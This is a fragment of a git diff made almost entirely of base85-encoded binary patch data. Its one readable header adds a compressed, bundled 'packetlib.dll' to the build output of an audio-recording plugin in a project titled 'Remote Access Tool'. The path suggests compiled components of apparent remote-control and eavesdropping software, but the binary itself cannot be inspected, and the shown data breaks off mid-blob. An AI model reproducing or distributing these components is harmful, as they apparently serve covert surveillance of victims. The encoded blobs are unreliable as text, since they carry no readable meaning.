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 E0G8(1k^lez literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..e3d87839e89a1b66bee42c3ca56b785a4d55fe6f GIT binary patch literal 31379 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 